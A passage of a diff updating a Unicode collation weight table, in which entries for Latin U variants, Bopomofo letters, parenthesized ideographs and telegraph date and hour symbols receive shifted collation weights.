+016B      ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+00FA      ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+01D4      ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+01D3      ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+00F9      ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9      ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+01D6      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+00FC 0304 ; [.1EB5.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
+00DC 0304 ; [.1EB5.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
+01D8      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+00FC 0301 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00FC 0341 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+00DC 0301 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00DC 0341 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+01DA      ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00FC 030C ; [.1EB5.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
+00DC 030C ; [.1EB5.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
+01DC      ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+00FC 0300 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00FC 0340 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00DC 0300 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00DC 0340 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00FC      ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
 FDD0 3105 ; [.8000.0020.0002] # <noncharacter-FDD0, BOPOMOFO LETTER B>
 2E8A      ; [.80B5.0020.0002] # CJK RADICAL DIVINATION
 FDD0 3106 ; [.83B1.0020.0002] # <noncharacter-FDD0, BOPOMOFO LETTER P>
@@ -276,119 +276,119 @@
 FDD0 3129 ; [.D403.0020.0002] # <noncharacter-FDD0, BOPOMOFO LETTER IU>
 2ED7      ; [.D47E.0020.0002] # CJK RADICAL RAIN
 2E9D      ; [.D53B.0020.0002] # CJK RADICAL MOON
-3220      ; [*0310.0020.0004][.CBDC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
-3226      ; [*0310.0020.0004][.AD39.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
-3222      ; [*0310.0020.0004][.C8DF.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
-3228      ; [*0310.0020.0004][.A95D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
-3221      ; [*0310.0020.0004][.CBCD.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
-3224      ; [*0310.0020.0004][.D1A9.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
-3239      ; [*0310.0020.0004][.8C57.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
-323D      ; [*0310.0020.0004][.ADC1.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
-3241      ; [*0310.0020.0004][.B3A8.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST
-3227      ; [*0310.0020.0004][.8001.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
-3225      ; [*0310.0020.0004][.9953.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
-3238      ; [*0310.0020.0004][.969E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
-3229      ; [*0310.0020.0004][.BF85.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
-323F      ; [*0310.0020.0004][.B2BC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
-3234      ; [*0310.0020.0004][.892A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
-323A      ; [*0310.0020.0004][.A3B5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
-3223      ; [*0310.0020.0004][.C82E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
-322F      ; [*0310.0020.0004][.92EA.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
-323B      ; [*0310.0020.0004][.B5F0.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
-3230      ; [*0310.0020.0004][.C2A4.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
-322A      ; [*0310.0020.0004][.D53C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
-3232      ; [*0310.0020.0004][.CEC7.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
-322D      ; [*0310.0020.0004][.895F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
-3231      ; [*0310.0020.0004][.BA36.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
-322C      ; [*0310.0020.0004][.C26E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
-322B      ; [*0310.0020.0004][.A48C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
-3235      ; [*0310.0020.0004][.9060.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
-323C      ; [*0310.0020.0004][.A9B3.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
-3233      ; [*0310.0020.0004][.C05E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
-3237      ; [*0310.0020.0004][.BA90.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
-3240      ; [*0310.0020.0004][.A78C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
-3242      ; [*0310.0020.0004][.C457.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
-3243      ; [*0310.0020.0004][.B766.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
-3236      ; [*0310.0020.0004][.C69F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
-323E      ; [*0310.0020.0004][.C421.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
-322E      ; [*0310.0020.0004][.AA72.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
-3358      ; [.1BB8.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
-33E9      ; [.1BB9.0020.0004][.1BB8.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
-32C9      ; [.1BB9.0020.0004][.1BB8.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
-3362      ; [.1BB9.0020.0004][.1BB8.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
-33EA      ; [.1BB9.0020.0004][.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
-32CA      ; [.1BB9.0020.0004][.1BB9.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
-3363      ; [.1BB9.0020.0004][.1BB9.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
-33EB      ; [.1BB9.0020.0004][.1BBA.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
-32CB      ; [.1BB9.0020.0004][.1BBA.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
-3364      ; [.1BB9.0020.0004][.1BBA.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
-33EC      ; [.1BB9.0020.0004][.1BBB.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
-3365      ; [.1BB9.0020.0004][.1BBB.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
-33ED      ; [.1BB9.0020.0004][.1BBC.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
-3366      ; [.1BB9.0020.0004][.1BBC.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
-33EE      ; [.1BB9.0020.0004][.1BBD.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
-3367      ; [.1BB9.0020.0004][.1BBD.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
-33EF      ; [.1BB9.0020.0004][.1BBE.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
-3368      ; [.1BB9.0020.0004][.1BBE.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
-33F0      ; [.1BB9.0020.0004][.1BBF.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
-3369      ; [.1BB9.0020.0004][.1BBF.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
-33F1      ; [.1BB9.0020.0004][.1BC0.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
-336A      ; [.1BB9.0020.0004][.1BC0.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
-33F2      ; [.1BB9.0020.0004][.1BC1.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
-336B      ; [.1BB9.0020.0004][.1BC1.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
-33E0      ; [.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
-32C0      ; [.1BB9.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
-3359      ; [.1BB9.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
-33F3      ; [.1BBA.0020.0004][.1BB8.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
-336C      ; [.1BBA.0020.0004][.1BB8.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
-33F4      ; [.1BBA.0020.0004][.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
-336D      ; [.1BBA.0020.0004][.1BB9.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
-33F5      ; [.1BBA.0020.0004][.1BBA.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
-336E      ; [.1BBA.0020.0004][.1BBA.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
-33F6      ; [.1BBA.0020.0004][.1BBB.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
-336F      ; [.1BBA.0020.0004][.1BBB.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
-33F7      ; [.1BBA.0020.0004][.1BBC.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
-3370      ; [.1BBA.0020.0004][.1BBC.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
-33F8      ; [.1BBA.0020.0004][.1BBD.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
-33F9      ; [.1BBA.0020.0004][.1BBE.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
-33FA      ; [.1BBA.0020.0004][.1BBF.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
-33FB      ; [.1BBA.0020.0004][.1BC0.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
-33FC      ; [.1BBA.0020.0004][.1BC1.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
-33E1      ; [.1BBA.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
-32C1      ; [.1BBA.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
-335A      ; [.1BBA.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
-33FD      ; [.1BBB.0020.0004][.1BB8.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
-33FE      ; [.1BBB.0020.0004][.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
-33E2      ; [.1BBB.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
-32C2      ; [.1BBB.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
-335B      ; [.1BBB.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
-33E3      ; [.1BBC.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
-32C3      ; [.1BBC.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
-335C      ; [.1BBC.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
-33E4      ; [.1BBD.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
-32C4      ; [.1BBD.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
-335D      ; [.1BBD.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
-33E5      ; [.1BBE.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
-32C5      ; [.1BBE.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
-335E      ; [.1BBE.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
-33E6      ; [.1BBF.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
-32C6      ; [.1BBF.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
-335F      ; [.1BBF.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
-33E7      ; [.1BC0.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
-32C7      ; [.1BC0.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
-3360      ; [.1BC0.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
-33E8      ; [.1BC1.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
-32C8      ; [.1BC1.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
-3361      ; [.1BC1.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
-1F241     ; [*0372.0020.0004][.C8DF.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
-1F242     ; [*0372.0020.0004][.CBCD.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
-1F247     ; [*0372.0020.0004][.C1CC.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
-1F243     ; [*0372.0020.0004][.CB52.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
-1F245     ; [*0372.0020.0004][.8C38.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
-1F248     ; [*0372.0020.0004][.80CD.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
-1F240     ; [*0372.0020.0004][.819A.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
-1F244     ; [*0372.0020.0004][.8E99.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
-1F246     ; [*0372.0020.0004][.8CA9.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
+3220      ; [*0317.0020.0004][.CBDC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
+3226      ; [*0317.0020.0004][.AD39.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
+3222      ; [*0317.0020.0004][.C8DF.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
+3228      ; [*0317.0020.0004][.A95D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
+3221      ; [*0317.0020.0004][.CBCD.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
+3224      ; [*0317.0020.0004][.D1A9.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
+3239      ; [*0317.0020.0004][.8C57.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
+323D      ; [*0317.0020.0004][.ADC1.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
+3241      ; [*0317.0020.0004][.B3A8.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST
+3227      ; [*0317.0020.0004][.8001.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
+3225      ; [*0317.0020.0004][.9953.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
+3238      ; [*0317.0020.0004][.969E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
+3229      ; [*0317.0020.0004][.BF85.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
+323F      ; [*0317.0020.0004][.B2BC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
+3234      ; [*0317.0020.0004][.892A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
+323A      ; [*0317.0020.0004][.A3B5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
+3223      ; [*0317.0020.0004][.C82E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
+322F      ; [*0317.0020.0004][.92EA.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
+323B      ; [*0317.0020.0004][.B5F0.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
+3230      ; [*0317.0020.0004][.C2A4.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
+322A      ; [*0317.0020.0004][.D53C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
+3232      ; [*0317.0020.0004][.CEC7.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
+322D      ; [*0317.0020.0004][.895F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
+3231      ; [*0317.0020.0004][.BA36.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
+322C      ; [*0317.0020.0004][.C26E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
+322B      ; [*0317.0020.0004][.A48C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
+3235      ; [*0317.0020.0004][.9060.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
+323C      ; [*0317.0020.0004][.A9B3.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
+3233      ; [*0317.0020.0004][.C05E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
+3237      ; [*0317.0020.0004][.BA90.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
+3240      ; [*0317.0020.0004][.A78C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
+3242      ; [*0317.0020.0004][.C457.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
+3243      ; [*0317.0020.0004][.B766.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
+3236      ; [*0317.0020.0004][.C69F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
+323E      ; [*0317.0020.0004][.C421.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
+322E      ; [*0317.0020.0004][.AA72.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
+3358      ; [.1C3D.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
+33E9      ; [.1C3E.0020.0004][.1C3D.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
+32C9      ; [.1C3E.0020.0004][.1C3D.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
+3362      ; [.1C3E.0020.0004][.1C3D.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
+33EA      ; [.1C3E.0020.0004][.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
+32CA      ; [.1C3E.0020.0004][.1C3E.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
+3363      ; [.1C3E.0020.0004][.1C3E.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
+33EB      ; [.1C3E.0020.0004][.1C3F.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
+32CB      ; [.1C3E.0020.0004][.1C3F.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
+3364      ; [.1C3E.0020.0004][.1C3F.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
+33EC      ; [.1C3E.0020.0004][.1C40.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
+3365      ; [.1C3E.0020.0004][.1C40.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
+33ED      ; [.1C3E.0020.0004][.1C41.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
+3366      ; [.1C3E.0020.0004][.1C41.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
+33EE      ; [.1C3E.0020.0004][.1C42.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
+3367      ; [.1C3E.0020.0004][.1C42.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
